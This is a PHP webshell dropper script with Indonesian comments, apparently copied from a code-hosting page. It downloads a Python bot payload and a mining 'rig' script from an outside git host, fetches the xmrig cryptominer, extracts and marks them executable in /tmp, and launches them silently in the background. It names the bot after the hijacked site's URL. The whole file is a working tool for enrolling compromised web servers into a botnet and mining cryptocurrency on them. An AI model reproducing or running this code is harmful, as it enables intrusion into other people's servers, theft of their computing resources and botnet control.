101 lines
3.0 KiB
PHP
101 lines
3.0 KiB
PHP
<?php
|
|
// URL untuk mengunduh payload bot, rig, dan xmrig
|
|
// For Webshell
|
|
$bot_payload_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/payload/bot.py";
|
|
$rig_payload_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig.sh";
|
|
$xmrig_url = "https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz";
|
|
|
|
// Lokasi file yang akan disimpan
|
|
$bot_target_file = "/tmp/bot.py";
|
|
$rig_target_file = "/tmp/rig.sh";
|
|
$xmrig_tar_file = "/tmp/xmrig.tar.gz";
|
|
$xmrig_extract_dir = "/tmp/xmrig";
|
|
|
|
// Nama bot sesuai dengan URL lengkap
|
|
$bot_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
|
|
|
|
// Fungsi untuk mengunduh file
|
|
function download_payload($url, $file_path) {
|
|
$content = file_get_contents($url);
|
|
if ($content === false) {
|
|
die("Failed to download payload from $url\n");
|
|
}
|
|
file_put_contents($file_path, $content);
|
|
echo "Payload downloaded to $file_path\n";
|
|
}
|
|
|
|
// Fungsi untuk mengekstrak file tar.gz
|
|
function extract_tar_gz($tar_file, $extract_to) {
|
|
if (!file_exists($tar_file)) {
|
|
die("File $tar_file does not exist for extraction.\n");
|
|
}
|
|
if (!is_dir($extract_to)) {
|
|
mkdir($extract_to, 0755, true);
|
|
}
|
|
$command = "tar -xzf $tar_file -C $extract_to";
|
|
shell_exec($command);
|
|
echo "Extracted $tar_file to $extract_to\n";
|
|
}
|
|
|
|
// Fungsi untuk memberikan izin eksekusi
|
|
function make_executable($file_path) {
|
|
chmod($file_path, 0755);
|
|
echo "File $file_path made executable.\n";
|
|
}
|
|
|
|
// Periksa versi Python
|
|
function get_python_version() {
|
|
$output = shell_exec("python3 --version 2>/dev/null");
|
|
if ($output) {
|
|
return "python3";
|
|
}
|
|
$output = shell_exec("python2 --version 2>/dev/null");
|
|
if ($output) {
|
|
return "python2";
|
|
}
|
|
die("No Python interpreter found on the target system.\n");
|
|
}
|
|
|
|
// Jalankan payload bot
|
|
function execute_bot_payload($python_path, $file_path, $bot_name) {
|
|
$command = "$python_path $file_path \"$bot_name\" > /dev/null 2>&1 &";
|
|
shell_exec($command);
|
|
echo "Bot payload executed with bot name: $bot_name\n";
|
|
}
|
|
|
|
// Jalankan payload rig
|
|
function execute_rig_payload($file_path, $xmrig_dir) {
|
|
$command = "nohup $file_path $xmrig_dir > /dev/null 2>&1 &";
|
|
shell_exec($command);
|
|
echo "Rig payload executed.\n";
|
|
}
|
|
|
|
try {
|
|
// Unduh payload bot
|
|
download_payload($bot_payload_url, $bot_target_file);
|
|
|
|
// Unduh payload rig
|
|
download_payload($rig_payload_url, $rig_target_file);
|
|
|
|
// Unduh xmrig
|
|
download_payload($xmrig_url, $xmrig_tar_file);
|
|
|
|
// Ekstrak xmrig
|
|
extract_tar_gz($xmrig_tar_file, $xmrig_extract_dir);
|
|
|
|
// Berikan izin eksekusi untuk rig
|
|
make_executable($rig_target_file);
|
|
|
|
// Dapatkan interpreter Python
|
|
$python_path = get_python_version();
|
|
|
|
// Jalankan payload bot
|
|
execute_bot_payload($python_path, $bot_target_file, $bot_name);
|
|
|
|
// Jalankan payload rig dengan path xmrig
|
|
execute_rig_payload($rig_target_file, $xmrig_extract_dir);
|
|
} catch (Exception $e) {
|
|
echo "Error: " . $e->getMessage() . "\n";
|
|
}
|
|
?>
|